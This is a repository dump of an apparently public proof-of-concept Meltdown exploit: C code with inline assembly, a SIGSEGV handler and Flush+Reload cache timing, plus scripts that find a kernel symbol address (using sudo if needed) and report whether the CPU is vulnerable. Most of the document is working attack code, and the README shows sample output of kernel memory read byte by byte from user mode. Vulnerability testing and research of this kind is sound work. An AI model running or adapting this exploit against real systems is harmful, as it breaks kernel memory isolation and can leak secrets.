├── .gitignore ├── Makefile ├── detect_rdtscp.sh ├── run.sh ├── README.md └── meltdown.c /.gitignore: -------------------------------------------------------------------------------- 1 | meltdown 2 | *.o 3 | rdtscp.h 4 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | 2 | CFLAGS += -O2 -msse2 3 | 4 | all: meltdown 5 | 6 | meltdown.o: rdtscp.h 7 | 8 | meltdown: meltdown.o 9 | 10 | rdtscp.h: detect_rdtscp.sh 11 | ./detect_rdtscp.sh >$@ 12 | 13 | clean: 14 | rm -f meltdown.o meltdown rdtscp.h 15 | -------------------------------------------------------------------------------- /detect_rdtscp.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | cat <<-'EOF' 4 | static inline int 5 | get_access_time(volatile char *addr) 6 | { 7 | unsigned long long time1, time2; 8 | EOF 9 | 10 | if grep -q rdtscp /proc/cpuinfo; then 11 | cat <<-'EOF' 12 | unsigned junk; 13 | time1 = __rdtscp(&junk); 14 | (void)*addr; 15 | time2 = __rdtscp(&junk); 16 | EOF 17 | else 18 | cat <<-'EOF' 19 | time1 = __rdtsc(); 20 | (void)*addr; 21 | _mm_mfence(); 22 | time2 = __rdtsc(); 23 | EOF 24 | fi 25 | cat <<-'EOF' 26 | return time2 - time1; 27 | } 28 | EOF 29 | -------------------------------------------------------------------------------- /run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | find_linux_proc_banner() { 4 | $2 sed -n -re 's/^([0-9a-f]*[1-9a-f][0-9a-f]*) .* linux_proc_banner$/\1/p' $1 5 | } 6 | 7 | echo "looking for linux_proc_banner in /proc/kallsyms" 8 | linux_proc_banner=$(find_linux_proc_banner /proc/kallsyms) 9 | if test -z $linux_proc_banner; then 10 | echo "protected. requires root" 11 | set -x 12 | linux_proc_banner=$(\ 13 | find_linux_proc_banner /proc/kallsyms sudo) 14 | 15 | set +x 16 | fi 17 | if test -z $linux_proc_banner; then 18 | echo "not found. reading /boot/System.map-$(uname -r)" 19 | set -x 20 | linux_proc_banner=$(\ 21 | find_linux_proc_banner /boot/System.map-$(uname -r) sudo) 22 | set +x 23 | fi 24 | if test -z $linux_proc_banner; then 25 | echo "not found. reading /lib/modules/$(uname -r)/build/System.map" 26 | set -x 27 | linux_proc_banner=$(\ 28 | find_linux_proc_banner /lib/modules/$(uname -r)/build/System.map sudo) 29 | set +x 30 | fi 31 | if test -z $linux_proc_banner; then 32 | echo "not found. reading /boot/System.map" 33 | set -x 34 | linux_proc_banner=$(\ 35 | find_linux_proc_banner /boot/System.map sudo) 36 | set +x 37 | fi 38 | if test -z $linux_proc_banner; then 39 | echo "can't find linux_proc_banner, unable to test at all" 40 | exit 0 41 | fi 42 | 43 | if [ ! -e ./meltdown ]; then 44 | echo "'meltdown' program not found, did you forgot to run 'make' ?" 45 | exit 0 46 | fi 47 | ./meltdown $linux_proc_banner 10 48 | vuln=$? 49 | 50 | if test $vuln -eq 1; then 51 | echo "PLEASE POST THIS TO https://github.com/paboldin/meltdown-exploit/issues/19" 52 | echo "VULNERABLE ON" 53 | uname -rvi 54 | head /proc/cpuinfo 55 | exit 1 56 | fi 57 | if test $vuln -eq 0; then 58 | echo "PLEASE POST THIS TO https://github.com/paboldin/meltdown-exploit/issues/22" 59 | echo "NOT VULNERABLE ON" 60 | uname -rvi 61 | head /proc/cpuinfo 62 | exit 0 63 | fi 64 | echo "Unknown return $vuln" 65 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MELTDOWN EXPLOIT POC 2 | 3 | Speculative optimizations execute code in a non-secure manner leaving data 4 | traces in microarchitecture such as cache. 5 | 6 | Lipp et. al 2018 published their code 2018-01-09 at 7 | https://github.com/IAIK/meltdown. Look at their paper for details: 8 | https://meltdownattack.com/meltdown.pdf. 9 | 10 | Can only dump `linux_proc_banner` at the moment, since requires accessed memory 11 | to be in cache and `linux_proc_banner` is cached on every read from 12 | `/proc/version`. Might work with `prefetch`. Works with `sched_yield`. 13 | 14 | Build with `make`, run with `./run.sh`. 15 | 16 | Can't defeat KASLR yet, so you may need to enter your password to find 17 | `linux_proc_banner` in the `/proc/kallsyms` (or do it manually). 18 | 19 | Flush+Reload and target array approach taken from spectre paper https://spectreattack.com/spectre.pdf 20 | implemented following clues from https://cyber.wtf/2017/07/28/negative-result-reading-kernel-memory-from-user-mode/. 21 | 22 | Pandora's box is open. 23 | 24 | Take a look at the [full exploit](https://www.youtube.com/watch?v=De4rBaAdKNA) 25 | which works with IAIK's version on my machine. 26 | 27 | Result: 28 | ``` 29 | $ make 30 | cc -O2 -msse2 -c -o meltdown.o meltdown.c 31 | cc meltdown.o -o meltdown 32 | $ ./run.sh 33 | looking for linux_proc_banner in /proc/kallsyms 34 | protected. requires root 35 | + find_linux_proc_banner /proc/kallsyms sudo 36 | + sudo awk 37 | /linux_proc_banner/ { 38 | if (strtonum("0x"$1)) 39 | print $1; 40 | exit 0; 41 | } /proc/kallsyms 42 | + linux_proc_banner=ffffffffa3e000a0 43 | + set +x 44 | cached = 29, uncached = 271, threshold 88 45 | read ffffffffa3e000a0 = 25 % 46 | read ffffffffa3e000a1 = 73 s 47 | read ffffffffa3e000a2 = 20 48 | read ffffffffa3e000a3 = 76 v 49 | read ffffffffa3e000a4 = 65 e 50 | read ffffffffa3e000a5 = 72 r 51 | read ffffffffa3e000a6 = 73 s 52 | read ffffffffa3e000a7 = 69 i 53 | read ffffffffa3e000a8 = 6f o 54 | read ffffffffa3e000a9 = 6e n 55 | read ffffffffa3e000aa = 20 56 | read ffffffffa3e000ab = 25 % 57 | read ffffffffa3e000ac = 73 s 58 | read ffffffffa3e000ad = 20 59 | read ffffffffa3e000ae = 28 ( 60 | read ffffffffa3e000af = 62 b 61 | read ffffffffa3e000b0 = 75 u 62 | read ffffffffa3e000b1 = 69 i 63 | read ffffffffa3e000b2 = 6c l 64 | read ffffffffa3e000b3 = 64 d 65 | read ffffffffa3e000b4 = 64 d 66 | read ffffffffa3e000b5 = 40 @ 67 | VULNERABLE 68 | VULNERABLE ON 69 | 4.10.0-42-generic #46~16.04.1-Ubuntu SMP Mon Dec 4 15:57:59 UTC 2017 x86_64 70 | processor : 0 71 | vendor_id : GenuineIntel 72 | cpu family : 6 73 | model : 158 74 | model name : Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz 75 | stepping : 9 76 | microcode : 0x5e 77 | cpu MHz : 3499.316 78 | cache size : 6144 KB 79 | physical id : 0 80 | ``` 81 | 82 | # Works on 83 | 84 | The Vulnerable CPU/Kernels list is moved here: 85 | https://github.com/paboldin/meltdown-exploit/issues/19 86 | 87 | The Invulnerable CPU/Kernels list is moved here: 88 | https://github.com/paboldin/meltdown-exploit/issues/22 89 | -------------------------------------------------------------------------------- /meltdown.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include 13 | 14 | #include "rdtscp.h" 15 | 16 | //#define DEBUG 1 17 | 18 | 19 | #if !(defined(__x86_64__) || defined(__i386__)) 20 | # error "Only x86-64 and i386 are supported at the moment" 21 | #endif 22 | 23 | 24 | #define TARGET_OFFSET 12 25 | #define TARGET_SIZE (1 << TARGET_OFFSET) 26 | #define BITS_READ 8 27 | #define VARIANTS_READ (1 << BITS_READ) 28 | 29 | static char target_array[VARIANTS_READ * TARGET_SIZE]; 30 | 31 | void clflush_target(void) 32 | { 33 | int i; 34 | 35 | for (i = 0; i < VARIANTS_READ; i++) 36 | _mm_clflush(&target_array[i * TARGET_SIZE]); 37 | } 38 | 39 | extern char stopspeculate[]; 40 | 41 | static void __attribute__((noinline)) 42 | speculate(unsigned long addr) 43 | { 44 | #ifdef __x86_64__ 45 | asm volatile ( 46 | "1:\n\t" 47 | 48 | ".rept 300\n\t" 49 | "add $0x141, %%rax\n\t" 50 | ".endr\n\t" 51 | 52 | "movzx (%[addr]), %%eax\n\t" 53 | "shl $12, %%rax\n\t" 54 | "jz 1b\n\t" 55 | "movzx (%[target], %%rax, 1), %%rbx\n" 56 | 57 | "stopspeculate: \n\t" 58 | "nop\n\t" 59 | : 60 | : [target] "r" (target_array), 61 | [addr] "r" (addr) 62 | : "rax", "rbx" 63 | ); 64 | #else /* ifdef __x86_64__ */ 65 | asm volatile ( 66 | "1:\n\t" 67 | 68 | ".rept 300\n\t" 69 | "add $0x141, %%eax\n\t" 70 | ".endr\n\t" 71 | 72 | "movzx (%[addr]), %%eax\n\t" 73 | "shl $12, %%eax\n\t" 74 | "jz 1b\n\t" 75 | "movzx (%[target], %%eax, 1), %%ebx\n" 76 | 77 | 78 | "stopspeculate: \n\t" 79 | "nop\n\t" 80 | : 81 | : [target] "r" (target_array), 82 | [addr] "r" (addr) 83 | : "rax", "rbx" 84 | ); 85 | #endif 86 | } 87 | 88 | 89 | static int cache_hit_threshold; 90 | static int hist[VARIANTS_READ]; 91 | void check(void) 92 | { 93 | int i, time, mix_i; 94 | volatile char *addr; 95 | 96 | for (i = 0; i < VARIANTS_READ; i++) { 97 | mix_i = ((i * 167) + 13) & 255; 98 | 99 | addr = &target_array[mix_i * TARGET_SIZE]; 100 | time = get_access_time(addr); 101 | 102 | if (time <= cache_hit_threshold) 103 | hist[mix_i]++; 104 | } 105 | } 106 | 107 | void sigsegv(int sig, siginfo_t *siginfo, void *context) 108 | { 109 | ucontext_t *ucontext = context; 110 | 111 | #ifdef __x86_64__ 112 | ucontext->uc_mcontext.gregs[REG_RIP] = (unsigned long)stopspeculate; 113 | #else 114 | ucontext->uc_mcontext.gregs[REG_EIP] = (unsigned long)stopspeculate; 115 | #endif 116 | return; 117 | } 118 | 119 | int set_signal(void) 120 | { 121 | struct sigaction act = { 122 | .sa_sigaction = sigsegv, 123 | .sa_flags = SA_SIGINFO, 124 | }; 125 | 126 | return sigaction(SIGSEGV, &act, NULL); 127 | } 128 | 129 | #define CYCLES 1000 130 | int readbyte(int fd, unsigned long addr) 131 | { 132 | int i, ret = 0, max = -1, maxi = -1; 133 | static char buf[256]; 134 | 135 | memset(hist, 0, sizeof(hist)); 136 | 137 | for (i = 0; i < CYCLES; i++) { 138 | ret = pread(fd, buf, sizeof(buf), 0); 139 | if (ret < 0) { 140 | perror("pread"); 141 | break; 142 | } 143 | 144 | clflush_target(); 145 | 146 | _mm_mfence(); 147 | 148 | speculate(addr); 149 | check(); 150 | } 151 | 152 | #ifdef DEBUG 153 | for (i = 0; i < VARIANTS_READ; i++) 154 | if (hist[i] > 0) 155 | printf("addr %lx hist[%x] = %d\n", addr, i, hist[i]); 156 | #endif 157 | 158 | for (i = 1; i < VARIANTS_READ; i++) { 159 | if (!isprint(i)) 160 | continue; 161 | if (hist[i] && hist[i] > max) { 162 | max = hist[i]; 163 | maxi = i; 164 | } 165 | } 166 | 167 | return maxi; 168 | } 169 | 170 | static char *progname; 171 | int usage(void) 172 | { 173 | printf("%s: [hexaddr] [size]\n", progname); 174 | return 2; 175 | } 176 | 177 | static int mysqrt(long val) 178 | { 179 | int root = val / 2, prevroot = 0, i = 0; 180 | 181 | while (prevroot != root && i++ < 100) { 182 | prevroot = root; 183 | root = (val / root + root) / 2; 184 | } 185 | 186 | return root; 187 | } 188 | 189 | #define ESTIMATE_CYCLES 1000000 190 | static void 191 | set_cache_hit_threshold(void) 192 | { 193 | long cached, uncached, i; 194 | 195 | if (0) { 196 | cache_hit_threshold = 80; 197 | return; 198 | } 199 | 200 | for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++) 201 | cached += get_access_time(target_array); 202 | 203 | for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++) 204 | cached += get_access_time(target_array); 205 | 206 | for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) { 207 | _mm_clflush(target_array); 208 | uncached += get_access_time(target_array); 209 | } 210 | 211 | cached /= ESTIMATE_CYCLES; 212 | uncached /= ESTIMATE_CYCLES; 213 | 214 | cache_hit_threshold = mysqrt(cached * uncached); 215 | 216 | printf("cached = %ld, uncached = %ld, threshold %d\n", 217 | cached, uncached, cache_hit_threshold); 218 | } 219 | 220 | static int min(int a, int b) 221 | { 222 | return a < b ? a : b; 223 | } 224 | 225 | static void pin_cpu0() 226 | { 227 | cpu_set_t mask; 228 | 229 | /* PIN to CPU0 */ 230 | CPU_ZERO(&mask); 231 | CPU_SET(0, &mask); 232 | sched_setaffinity(0, sizeof(cpu_set_t), &mask); 233 | } 234 | 235 | int main(int argc, char *argv[]) 236 | { 237 | int ret, fd, i, score, is_vulnerable; 238 | unsigned long addr, size; 239 | static char expected[] = "%s version %s"; 240 | 241 | progname = argv[0]; 242 | if (argc < 3) 243 | return usage(); 244 | 245 | if (sscanf(argv[1], "%lx", &addr) != 1) 246 | return usage(); 247 | 248 | if (sscanf(argv[2], "%lx", &size) != 1) 249 | return usage(); 250 | 251 | memset(target_array, 1, sizeof(target_array)); 252 | 253 | ret = set_signal(); 254 | pin_cpu0(); 255 | 256 | set_cache_hit_threshold(); 257 | 258 | fd = open("/proc/version", O_RDONLY); 259 | if (fd < 0) { 260 | perror("open"); 261 | return -1; 262 | } 263 | 264 | for (score = 0, i = 0; i < size; i++) { 265 | ret = readbyte(fd, addr); 266 | if (ret == -1) 267 | ret = 0xff; 268 | printf("read %lx = %x %c (score=%d/%d)\n", 269 | addr, ret, isprint(ret) ? ret : ' ', 270 | ret != 0xff ? hist[ret] : 0, 271 | CYCLES); 272 | 273 | if (i < sizeof(expected) && 274 | ret == expected[i]) 275 | score++; 276 | 277 | addr++; 278 | } 279 | 280 | close(fd); 281 | 282 | is_vulnerable = score > min(size, sizeof(expected)) / 2; 283 | 284 | if (is_vulnerable) 285 | fprintf(stderr, "VULNERABLE\n"); 286 | else 287 | fprintf(stderr, "NOT VULNERABLE\n"); 288 | 289 | exit(is_vulnerable); 290 | } 291 | --------------------------------------------------------------------------------